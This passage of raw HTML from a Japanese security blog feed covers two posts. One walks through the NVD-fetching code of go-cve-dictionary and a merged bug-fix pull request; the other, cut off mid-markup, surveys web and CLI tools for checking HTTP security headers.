subcommands.Register(subcommands.CommandsCommand(), "")<br /> subcommands.Register(&amp;commands.ServerCmd{}, "server")<br /> subcommands.Register(&amp;commands.FetchJvnCmd{}, "fetchjvn")<br /> subcommands.Register(&amp;commands.FetchNvdCmd{}, "fetchnvd")<br /> subcommands.Register(&amp;commands.ListCmd{}, "list")</p> <p>var v = flag.Bool("v", false, "Show version")</p> </blockquote> <p> </p> <p>この形を一度理解するとsubcommandsを使ったコードを読むのが楽になります。</p> <p> </p> <p>しかし、GoでのCLIツールを作成するためのライブラリは他にも多くあり、有名なものとしては <a href="https://github.com/spf13/cobra">spf13/cobra</a> や <a href="https://github.com/urfave/cli">urfave/cli</a> などあります。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117144101p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117144101.png" alt="f:id:security_index:20191117144101p:plain" width="397" /></p> <p> </p> <p>書き方に多少の違いはありますが、考え方などは同じように見えるので一度どれかのライブラリで書き方や読み方を理解することが重要です。</p> <p> </p> <h4 id="commands">commands/</h4> <p>ここに実際の各コマンドのオプションと実行の処理が書かれています。</p> <p><br />fetchjvn.go  :JVNの脆弱性情報を取得しデータベースに保存<br />fetchnvd.go  : NVDの脆弱性情報を取得しデータベースに保存<br />list.go     :データベースに保存された脆弱性情報のステータス確認<br />server.go    : サーバーモードで起動し、CVEの検索</p> <p> </p> <p>今回はfetchnvd.goに注目していきます。</p> <p> </p> <h4 id="commandsfetchnvdgo">commands/fetchnvd.go</h4> <p><a href="https://nvd.nist.gov/vuln/data-feeds">NVDのFeeds</a>よりCVEのリストを取得し、データベースに保存します。</p> <p> </p> <p>全体の流れは大きく分けて6ステップあります。</p> <p> </p> <p>1. データベース接続</p> <p>2. meta情報の取得</p> <p>3. meta情報より更新が必要かどうか判断 (過去のmeta情報と比較)</p> <p>4. NVDの脆弱性情報の収集、変換</p> <p>5. 脆弱性情報をデータベースへ保存</p> <p>6. meta情報をデータベースへ保存</p> <p> </p> <h5 id="1-データベース接続">1. データベース接続</h5> <p><a href="https://github.com/kotakanbe/go-cve-dictionary/blob/master/commands/fetchnvd.go#L162"> </a><a href="https://github.com/kotakanbe/go-cve-dictionary/blob/master/commands/fetchnvd.go#L162">L162</a>~L171の部分。</p> <p>設定情報からどのデータベースを利用する(SQLite, MySQL等)のか、データベースのパス(ユーザー名、パスワード等)を使ってデータベースの接続を行います。</p> <p> </p> <p>go-cve-dictionaryではSQLite3, MySQL, PostgreSQL (Redis) に対応しています。</p> <p>これは、<a href="https://github.com/jinzhu/gorm">GORM</a> というO/Rマッパーを使って実現させています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117152545p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117152545.png" alt="f:id:security_index:20191117152545p:plain" /></p> <p> </p> <p>Githubのスターの数も15,000以上ありこちらがほぼスタンダードのようになっているようです。</p> <p> </p> <p>O/Rマッパー (ORMマッパー) とは</p> <p> </p> <blockquote> <p>オブジェクト関係マッピング(英: Object-relational mapping、O/RM、ORM)とは、データベースとオブジェクト指向プログラミング言語の間の非互換なデータを変換するプログラミング技法である。オブジェクト関連マッピングとも呼ぶ。実際には、オブジェクト指向言語から使える「仮想」オブジェクトデータベースを構築する手法である。</p> <p><a href="https://ja.wikipedia.org/wiki/%E3%82%AA%E3%83%96%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E9%96%A2%E4%BF%82%E3%83%9E%E3%83%83%E3%83%94%E3%83%B3%E3%82%B0">オブジェクト関係マッピング - Wikipedia</a></p> </blockquote> <p> </p> <p>直接データベースの操作をするのではなく、仮想データベースの操作を行うことで異なるデータベースシステムも操作できるようになるものです。 </p> <p> </p> <h5 id="2-meta情報の取得">2. meta情報の取得</h5> <p><a href="https://github.com/kotakanbe/go-cve-dictionary/blob/master/commands/fetchnvd.go#L173">L173</a>~L182の部分。</p> <p>FetchLatestFeedMeta() でmeta情報の取得を行います。</p> <p> </p> <p>FetchLatestFeedMeta() は fetcher/nvd/util.go の<a href="https://github.com/kotakanbe/go-cve-dictionary/blob/master/fetcher/nvd/util.go#L91">L91</a>で定義されています。</p> <p>どこで定義されているか確認したい場合は、関数名をダブルクリックで定義している場所や参照されている場所へGithub上で飛ぶことができます。とても便利。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117154747p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117154747.png" alt="f:id:security_index:20191117154747p:plain" width="531" /></p> <p> </p> <p>FetchLatestFeedMeta() では、NVDのfeedsの<a href="https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-recent.meta">meta情報</a>の取得とすでに取得済みのmeta情報をデータベースから取得し、変数metasにmeta情報を追加していきます。</p> <p> </p> <p>NVDのmeta情報には以下のようなデータが含まれています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117161051p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117161051.png" alt="f:id:security_index:20191117161051p:plain" /></p> <p> </p> <p>go-cve-dictionaryではsha256のハッシュ値を使って以前取得した脆弱性情報と変更があるかどうかの判断を行なっています。</p> <p> </p> <p>metasは models/models.go で 構造体 <a href="https://github.com/kotakanbe/go-cve-dictionary/blob/master/models/models.go#L13">FeedMeta</a> として定義されているものです。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117161009p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117161009.png" alt="f:id:security_index:20191117161009p:plain" width="521" /></p> <p> </p> <p>NVDから取得したハッシュ値はLatestHashに入れ、データベースから取得したハッシュ値はHashに入れます。</p> <p> </p> <h5 id="3-meta情報より更新が必要かどうか判断-過去のmeta情報と比較">3. meta情報より更新が必要かどうか判断 (過去のmeta情報と比較)</h5> <p><a href="https://github.com/kotakanbe/go-cve-dictionary/blob/master/commands/fetchnvd.go#L185">L185</a>~L201の部分。</p> <p>取得したmetasを使って、</p> <p>1. 新しく作成されたものか ( Newly() )</p> <p>2. 更新が必要なものか ( OutDated() )</p> <p>3. 更新不要なものか (上記以外の場合)</p> <p>の判断を行なっています。</p> <p> </p> <p>1. Newly() では、データベースから取得したHashの値に何も入っていないかどうかで判断しています。</p> <p> </p> <p>2. OutDated() ではNVDから取得したLatestHash とデータベースから取得したHashが同じかどうかで判断しています。</p> <p> </p> <h5 id="4-NVDの脆弱性情報の収集変換">4. NVDの脆弱性情報の収集、変換</h5> <p><a href="https://github.com/kotakanbe/go-cve-dictionary/blob/master/commands/fetchnvd.go#L203">L203</a>~L212の部分。</p> <p>この部分で実際のNVDの脆弱性情報の収集を行なっています。</p> <p> </p> <p>実際の処理は fetcher/nvd/json/nvd.go で定義されている FetchConvert() で行われています。</p> <p>FetchFeedFile() でゴルーチンを使ってNVDヘリクエストを投げ、データの取得を行います。</p> <p>取得したjsonデータ (results) をUnMarshalし、convert() を使って扱いやすい形 (CveDetail) に変換しています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117172515p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117172515.png" alt="f:id:security_index:20191117172515p:plain" width="440" /></p> <p> </p> <p>CveDetailのNVDJsonの構造</p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117172808p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117172808.png" alt="f:id:security_index:20191117172808p:plain" width="519" /></p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117173200p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117173200.png" alt="f:id:security_index:20191117173200p:plain" width="366" /></p> <p> </p> <p>CPEに関してURIとFormattedString, WellFormedNameに変換されます。</p> <p> </p> <p>CPEに関してはIPAの<a href="https://www.ipa.go.jp/security/vuln/CPE.html">共通プラットフォーム一覧CPE概説</a>を確認すれば基本的に問題ありませんが、この部分に関してはIPAの概説では触れられていない部分のため、MITREの<a href="http://cpe.mitre.org/specification/index.html">CPE - Common Platform Enumeration: CPE Specifications</a>を確認する必要があります。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117174034p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117174034.png" alt="f:id:security_index:20191117174034p:plain" /></p> <p> </p> <p>一番詳細に書かれているのは <a href="https://csrc.nist.gov/publications/detail/nistir/7695/final">NISTIR 7695, Common Platform Enumeration: Naming Specification v2.3 | CSRC</a>の仕様書ですのでこちらを一度確認するのがいいと思います。</p> <p> </p> <p>NVDから取得する脆弱性情報にはURIの形式で書かれているため、URIの形式をパースし他の扱いやすい形へ変換する必要があります。</p> <p> </p> <p>CPEの変換の処理は <a href="https://github.com/knqyf263/go-cpe">knqyf263/go-cpe</a> というライブラリを利用しています。</p> <p>(<a href="https://security-index.hatenablog.com/entry/2019/10/19/163716">ソフトウェアデザイン 2019年11月号 脆弱性スキャナ特集</a>で少し触れました福田さんが作成したライブラリのようです)</p> <p> </p> <p>こちらのライブラリはNIST IR 7695, 7696で書かれているリファレンス実装をgoで実現したものになっています。</p> <p> </p> <p>リファレンス実装とは</p> <p> </p> <blockquote> <p>リファレンス実装(リファレンスじっそう、英: reference implementation)は、なんらかの機能を実現するハードウェアまたはソフトウェアであり、他者がそれを参考にして独自に実装することを助ける目的で作られたものを言う。参考実装(さんこうじっそう)とも呼ばれる。</p> <p><a href="https://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%95%E3%82%A1%E3%83%AC%E3%83%B3%E3%82%B9%E5%AE%9F%E8%A3%85">リファレンス実装 - Wikipedia</a></p> </blockquote> <p> </p> <p>NVDの脆弱性情報の収集、変換の部分はやっていることは単純ですが、並列化し高速化する処理や扱いやすいように変換する処理など、コード行数としては結構あります。</p> <p> </p> <h5 id="5-脆弱性情報をデータベースへ保存">5. 脆弱性情報をデータベースへ保存</h5> <p><a href="https://github.com/kotakanbe/go-cve-dictionary/blob/cd22f812209dc6e598e8bf3cd6cfab062e5c47a1/commands/fetchnvd.go#L217">L217</a>~L229の部分。</p> <p><a href="https://github.com/kotakanbe/go-cve-dictionary/blob/cd22f812209dc6e598e8bf3cd6cfab062e5c47a1/db/rdb.go#L839">InsertNvdJSON()</a> を使ってデータベースへの保存を行います。</p> <p> </p> <p>ここでは古いデータベースの情報を削除し、新しい情報を追加していく処理を行なっています。</p> <p>Cvss3、Cpesなどのデータベースのテーブル毎に処理を行なっています。</p> <p> </p> <h5 id="6-meta情報をデータベースへ保存">6. meta情報をデータベースへ保存</h5> <p><a href="https://github.com/kotakanbe/go-cve-dictionary/blob/cd22f812209dc6e598e8bf3cd6cfab062e5c47a1/commands/fetchnvd.go#L231">L231</a>~L234の部分。</p> <p>最後にmeta情報をデータベースに保存して次のNVDの脆弱性情報の更新時に備えます。</p> <p>UpdateMeta() の中で利用されている <a href="https://github.com/kotakanbe/go-cve-dictionary/blob/cd22f812209dc6e598e8bf3cd6cfab062e5c47a1/db/rdb.go#L1049">UpsertFeedHash() </a>でmeta情報のデータベースへの保存処理が行われています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117182256p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117182256.png" alt="f:id:security_index:20191117182256p:plain" width="513" /><br /> </p> <p>上記のソースコードは、UpsertFeedHash() の新規にmetaデータをデータベースに保存するか、アップデートするかを判断して処理を分けて実行している部分です。</p> <p> </p> <p>色の付いているL1072の部分、LastModifiedDateをNVDから取得したものへとアップデートする処理を行うはずだが、metaへではなく、mへデータを渡してしまっている。</p> <p>このままではLastModifiedDateがはじめに作成された日時のまま更新されない。</p> <p> </p> <p>この部分はバグだと思われるのでプルリクエストを出して対応を行いました。</p> <p> </p> <p><a href="https://github.com/kotakanbe/go-cve-dictionary/pull/145">fix(meta): not update LastModifiedDate by s-index · Pull Request #145 · kotakanbe/go-cve-dictionary · GitHub</a></p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117182800p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117182800.png" alt="f:id:security_index:20191117182800p:plain" /></p> <p> </p> <p>私にとっての初めてのプルリクだったため、以下のQiitaの記事を参考に行いました。</p> <p><a href="https://qiita.com/aipacommander/items/d61d21988a36a4d0e58b">【GitHub】Pull Requestの手順 - Qiita</a></p> <p> </p> <p>(追記 2019/11/23)</p> <p>無事にマージされました!</p> <p> </p> <blockquote class="twitter-tweet"> <p dir="ltr" lang="ja">マージだんですっ<a href="https://t.co/1wRQYP5hxC">https://t.co/1wRQYP5hxC</a></p> — バルスのちょんまげおじさん (@kotakanbe) <a href="https://twitter.com/kotakanbe/status/1197874705866223616?ref_src=twsrc%5Etfw">November 22, 2019</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191123110612p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191123/20191123110612.png" alt="f:id:security_index:20191123110612p:plain" width="482" /></p> <p> </p> <p>コントリビューターデビューを果たしました!</p> <p> </p> <h3 id="参考">参考 </h3> <h4 id="プルリクの出し方">プルリクの出し方</h4> <p><a href="https://qiita.com/aipacommander/items/d61d21988a36a4d0e58b">【GitHub】Pull Requestの手順 - Qiita</a>に詳しく書かれています。</p> <p>大きな流れとしては</p> <blockquote> <ol style="box-sizing: inherit; margin: 1.5em 0px; padding: 0px 0px 0px 1.5em; list-style: decimal; line-height: 1.9; color: #333333; font-family: -apple-system, system-ui, 'Segoe UI', 'Helvetica Neue', 'Hiragino Kaku Gothic ProN', メイリオ, meiryo, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"> <li style="box-sizing: inherit;">対象のGitHubリポジトリをFork</li> <li style="box-sizing: inherit;">ローカルへclone(クローン)</li> <li style="box-sizing: inherit;">ローカルリポジトリで新規ブランチを作成</li> <li style="box-sizing: inherit;">修正を加える(コミット)</li> <li style="box-sizing: inherit;">作成したブランチをpush(プッシュ)する</li> <li style="box-sizing: inherit;">Pull RequestをGitHub上で作成</li> </ol> </blockquote> <p> </p> <h4 id="プルリク後のCIツール">プルリク後のCIツール</h4> <p> </p> <p>実際にプルリクを出すとgo-cve-dictionaryでは以下のようなCIツールにより検証が自動で走ります。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117184140p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117184140.png" alt="f:id:security_index:20191117184140p:plain" /></p> <p> </p> <p><a href="https://golangci.com/">GolangCI</a>ではgolint, errcheck, staticcheck,deadcodeなどを行なってくれるようです。<br />オープンソースには無料で利用可能です。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117185827p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117185827.png" alt="f:id:security_index:20191117185827p:plain" width="579" /></p> <p> </p> <p><a href="https://travis-ci.org/">Travis CI</a>では .travis.yml に書かれた内容のビルドやテストを実行してくれるもののようです。</p> <p>こちらもオープンソースには無料で利用可能です。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191117190749p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191117/20191117190749.png" alt="f:id:security_index:20191117190749p:plain" width="529" /></p> <p> </p> <p> </p> <h4 id="感想">感想</h4> <p>今回はVulsの中で使われているgo-cve-dictionaryのコードを読んで理解してみました。</p> <p>その中でdb/rdb.go の中にバグがあることを発見し、プルリクを出してみました。</p> <p> </p> <p>コードを読むことでgoの勉強、NVDのdata feedsやCPEに関してなど多くのことを学ぶことができますし、バグを見つければプルリクを出して貢献することもできます。</p> <p> </p> <p>また、今回バグのあったrdb.goにはテストコードがなかったためバグが残ってしまっていた、というのがひとつ考えられると思います。</p> <p>rdbの部分はデータベースを扱う必要があるためにテストがしにくい部分でもあります。</p> <p> </p> <p>gormのテストのために <a href="https://github.com/DATA-DOG/go-sqlmock">DATA-DOG/go-sqlmock</a> というものがあるようなので今後こちらを使ってテストコードも書けたらいいな、と思っています。</p> <p> </p> <p>その1、その3、その4はこちら。</p> <p><a href="https://security-index.info/entry/2019/11/04/162804">Vulsのコードを読む その1 全体像の把握 - Security Index</a></p> <p><a href="https://security-index.info/entry/2019/12/07/222719">Vulsのコードを読む その3 Vuls scanを調べてみた - Security Index</a></p> <p><a href="https://security-index.info/entry/2019/12/22/220855">Vulsのコードを読む その4 Vuls reportを調べてみた - Security Index</a></p> <p> </p> <p><a href="https://amzn.to/2KtM6UK">改訂2版 みんなのGo言語 </a></p> <p><a href="https://amzn.to/2NTJdia">スターティングGo言語</a></p> <p><a href="https://amzn.to/2OjF9qD">実践Terraform AWSにおけるシステム設計とベストプラクティス</a></p> <p> </p> <p> </p> <p>Twitter アカウント</p> <p><a href="https://twitter.com/security_index">Security Index (@security_index) | Twitter</a></p> security_index HTTPセキュリティヘッダーを検証する Webツール、CLIツール Mozilla Observatory, Observatory-cli, testssl hatenablog://entry/26006613463712991 2019-11-10T12:37:26+09:00 2019-11-10T12:40:58+09:00 HTTPセキュリティヘッダーを簡単に検証できるWebツール、CLIツールを調べて見ました。 ブラウザのデベロッパーツールでも確認することは可能ですが、より詳細に、より簡単に検証するためにはやはりWebツール、CLIツールを利用することがおすすめです。 既に公開しているWebサイトを簡単に調べたいのであれば、Webツール コマンドライン上で調べたい、開発段階のものを調べたい、という場合であればCLIツールを利用するのが良さそうです。 <p>HTTPセキュリティヘッダーを簡単に検証できるWebツール、<a class="keyword" href="http://d.hatena.ne.jp/keyword/CLI">CLI</a>ツールを調べて見ました。</p> <p>ブラウザの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C7%A5%D9%A5%ED%A5%C3%A5%D1">デベロッパ</a>ーツールでも確認することは可能ですが、より詳細に、より簡単に検証するためにはやはりWebツール、<a class="keyword" href="http://d.hatena.ne.jp/keyword/CLI">CLI</a>ツールを利用することがおすすめです。</p> <p> </p> <p>既に公開しているWebサイトを簡単に調べたいのであれば、Webツール</p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%DE%A5%F3%A5%C9%A5%E9%A5%A4%A5%F3">コマンドライン</a>上で調べたい、開発段階のものを調べたい、という場合であれば<a class="keyword" href="http://d.hatena.ne.jp/keyword/CLI">CLI</a>ツールを利用するのが良さそうです。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110123602p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110123602.png" alt="f:id:security_index:20191110123602p:plain" /></p> <p> </p> <ul class="table-of-contents"> <li><a href="#前提知識">前提知識</a><ul> <li><a href="#HTTPセキュリティヘッダー">HTTPセキュリティヘッダー</a></li> </ul> </li> <li><a href="#Webツール">Webツール</a><ul> <li><a href="#Mozilla-Observatory">Mozilla Observatory</a></li> <li><a href="#Security-Headers">Security Headers</a></li> </ul> </li> <li><a href="#CLI-ツール">CLI ツール</a><ul> <li><a href="#Observatory-cli">Observatory-cli</a></li> <li><a href="#testssl">testssl</a></li> </ul> </li> <li><a href="#参考">参考</a><ul> <li><a href="#OWASP-Secure-Headers-Project">OWASP Secure Headers Project</a></li> </ul> </li> </ul> <p> </p> <h3 id="前提知識">前提知識</h3> <h4 id="HTTPセキュリティヘッダー">HTTPセキュリティヘッダー</h4> <p>HTTPレスポンスヘッダーに「X-<a class="keyword" href="http://d.hatena.ne.jp/keyword/XSS">XSS</a>-Protection: 1; mode=block」のように記述を追加することで<a class="keyword" href="http://d.hatena.ne.jp/keyword/XSS">XSS</a>の軽減できたり、他の設定では<a class="keyword" href="http://d.hatena.ne.jp/keyword/HTTPS">HTTPS</a>の強制や<a class="keyword" href="http://d.hatena.ne.jp/keyword/Cookie">Cookie</a>の保護、クリックジャッキング対策など、クライアントサイドでのセキュリティの強化を行うことができるものです。</p> <p> </p> <p>以下のサイトなどでどんなものがあるのかまとめられています。</p> <p><a href="https://www.templarbit.com/blog/jp/2018/07/24/top-http-security-headers-and-how-to-deploy-them/">指定すべきHTTPセキュリティヘッダーTop7と、そのデプロイ方法</a></p> <p><a href="https://qiita.com/sooogle/items/c066b0d69a81370653f7">大規模サービスのセキュリティ対策用HTTPヘッダーまとめ - Qiita</a></p> <p> </p> <p>注意点としては、1年程前の記事(2018年頃)のものなので最新の状況とは異なる部分もあります。</p> <p>HTTPセキュリティヘッダーはブラウザ側の対策のため、最新の状況は<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">Mozilla</a>の公式サイトで確認する必要があります。</p> <p> </p> <h3 id="Webツール">Webツール</h3> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/SSL">SSL</a>/<a class="keyword" href="http://d.hatena.ne.jp/keyword/TLS">TLS</a> のWebツールでは<a class="keyword" href="http://d.hatena.ne.jp/keyword/SSL">SSL</a> Labs Qualys <a class="keyword" href="http://d.hatena.ne.jp/keyword/SSL">SSL</a> Server Test がとても有名で、これで確認すれば間違いない、くらいのものになっています。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110095001p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110095001.png" alt="f:id:security_index:20191110095001p:plain" /></p> <p><a href="https://www.ssllabs.com/ssltest/">SSL Server Test (Powered by Qualys SSL Labs)</a></p> <p> </p> <p>HTTPセキュリティヘッダーに関しても同様のサービスを扱っているものがいくつかあります。</p> <p> </p> <h4 id="Mozilla-Observatory"><a class="keyword" href="http://d.hatena.ne.jp/keyword/Mozilla">Mozilla</a> Observatory</h4> <p><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110100643p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110100643.png" alt="f:id:security_index:20191110100643p:plain" /></p> <p> </p> <p>WebツールとしてHTTPセキュリティヘッダーを確認したい場合は<a class="keyword" href="http://d.hatena.ne.jp/keyword/Mozilla">Mozilla</a>のObservatoryが一番おすすめです。</p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>(<a href="https://github.com">https://github.com</a>) にこのツールを使った結果、以下のように表示されます。</p> <p>(こちらの<a href="https://observatory.mozilla.org/analyze/github.com">リンク</a>からもスキャン結果が確認できます)</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110101056p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110101056.png" alt="f:id:security_index:20191110101056p:plain" /></p> <p> </p> <p>Qualysと同じようにランクが表示され、その下に詳細な情報が表示されます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110101333p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110101333.png" alt="f:id:security_index:20191110101333p:plain" /></p> <p> </p> <p>Content Security Policy (CSP) の項目では、style-src にunsafe-inlineが使われていること、Cookiesの項目ではSecure属性が使われていないことなどがすぐにわかります。</p> <p> </p> <p>「Test Scores」の下には更に詳細な記述もあり、各項目に<a class="keyword" href="http://d.hatena.ne.jp/keyword/Mozilla">Mozilla</a>のセキュリティ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AC%A5%A4%A5%C9%A5%E9%A5%A4%A5%F3">ガイドライン</a>へのリンクや「Info」で簡単な説明がありわかりやすいです。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110121032p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110121032.png" alt="f:id:security_index:20191110121032p:plain" /></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110121106p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110121106.png" alt="f:id:security_index:20191110121106p:plain" /></p> <p> </p> <p><a href="https://infosec.mozilla.org/guidelines/web_security">Mozillaのセキュリティガイドライン</a>には各設定を行なった場合のメリット(Benefit)と実装面などのデメリット(Difficulty)もまとめられておりとても参考になります。 </p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110102625p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110102625.png" alt="f:id:security_index:20191110102625p:plain" /></p> <p> </p> <p>例えば、Public Key Pinningはメリット少なく、実装するのがとても大変である、</p> <p>Strict Transport Security (HSTS)はメリットが高く、実装コストも低い、など</p> <p>まずどれをやるべきかの優先順位付けが簡単にできます。</p> <p> </p> <p>また、「Third-party Tests」のタブに切り替えることで、Qualysのスキャン結果や後ほど説明するSecurity Headersのスキャン結果なども確認することもできます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110103206p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110103206.png" alt="f:id:security_index:20191110103206p:plain" /></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110103247p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110103247.png" alt="f:id:security_index:20191110103247p:plain" /></p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Mozilla">Mozilla</a> ObservatoryでHTTPセキュリティヘッダーだけでなく、Qualysの<a class="keyword" href="http://d.hatena.ne.jp/keyword/SSL">SSL</a>/<a class="keyword" href="http://d.hatena.ne.jp/keyword/TLS">TLS</a>の結果や他のWebツールでの結果まで参照できるのでとても便利です。</p> <p> </p> <h4 id="Security-Headers">Security Headers</h4> <p><a href="https://securityheaders.com/">Analyse your HTTP response headers</a></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110103540p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110103540.png" alt="f:id:security_index:20191110103540p:plain" /></p> <p> </p> <p>Security HeadersでもHTTPセキュリティヘッダーの確認ができます。</p> <p>こちらではスキャン結果の統計情報(Grand Totals)もあり、どれくらいを目指すべきなのかの参考になります。</p> <p> </p> <p>こちらで<a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>をスキャンした結果、以下のような情報が出力されます。</p> <p>(こちらの<a href="https://securityheaders.com/?q=https%3A%2F%2Fgithub.com&amp;followRedirects=on">リンク</a>からもスキャン結果が確認できます)</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110103900p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110103900.png" alt="f:id:security_index:20191110103900p:plain" /></p> <p> </p> <p>Summaryの下にはRaw Headers、Missing Headers、Warnings、Additional Information<br />があります。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110104342p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110104342.png" alt="f:id:security_index:20191110104342p:plain" /></p> <p> </p> <p>Additonal Informationに付いているリンクからこのツールの作者(Scott Helme)の各セキュリティヘッダーの詳細な説明ページに飛ぶことができます。</p> <p> </p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110104747p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110104747.png" alt="f:id:security_index:20191110104747p:plain" /></p> <p><a href="https://scotthelme.co.uk/hsts-the-missing-link-in-tls/">HSTS - The missing link in Transport Layer Security</a></p> <p> </p> <p>図などが使われていてわかりやすく書かれているように思われます。</p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Mozilla">Mozilla</a>などのブラウザベンダーの影響を受けていないスキャンツールを使いたいという人には良いかもしれません。</p> <p> </p> <h3 id="CLI-ツール"><a class="keyword" href="http://d.hatena.ne.jp/keyword/CLI">CLI</a> ツール</h3> <p>Webツールの場合、簡単にスキャンすることができますが、対象としては既に公開されているもの、外部からアクセス可能なものに対してのみになります。</p> <p> </p> <p>また、会社によってはあまり外部からのスキャンをかけたくない、自分の環境下で行いたい、定期的にスキャンしたいなどの場合には、Webツールではなく、<a class="keyword" href="http://d.hatena.ne.jp/keyword/CLI">CLI</a>ツールの方が便利な時もあると思います。</p> <p> </p> <h4 id="Observatory-cli">Observatory-<a class="keyword" href="http://d.hatena.ne.jp/keyword/cli">cli</a></h4> <p><a href="https://github.com/mozilla/observatory-cli">GitHub - mozilla/observatory-cli</a></p> <p><img class="hatena-fotolife" title="f:id:security_index:20191110113430p:plain" src="https://cdn-ak.f.st-hatena.com/images/fotolife/s/security_index/20191110/20191110113430.png" alt="f:id:security_index:20191110113430p:plain" /></p> <p> </p> <p>先ほど紹介した<a class="keyword" href="http://d.hatena.ne.jp/keyword/Mozilla">Mozilla</a> Observatoryの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B3%A5%DE%A5%F3%A5%C9%A5%E9%A5%A4%A5%F3">コマンドライン</a>で利用できるものになります。</p> <p>インストールも簡単で、npm install -g observatory-<a class="keyword" href="http://d.hatena.ne.jp/keyword/cli">cli</a> をするだけです。</p> <p> </p> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/Github">Github</a>をスキャンする場合は、observatory <a class="keyword" href="http://d.hatena.ne.jp/keyword/github">github</a>.com でスキャンできます。</p> <p>その出力は以下のようになります。</p> <p> </p> <p><img class="hatena-fotolife" 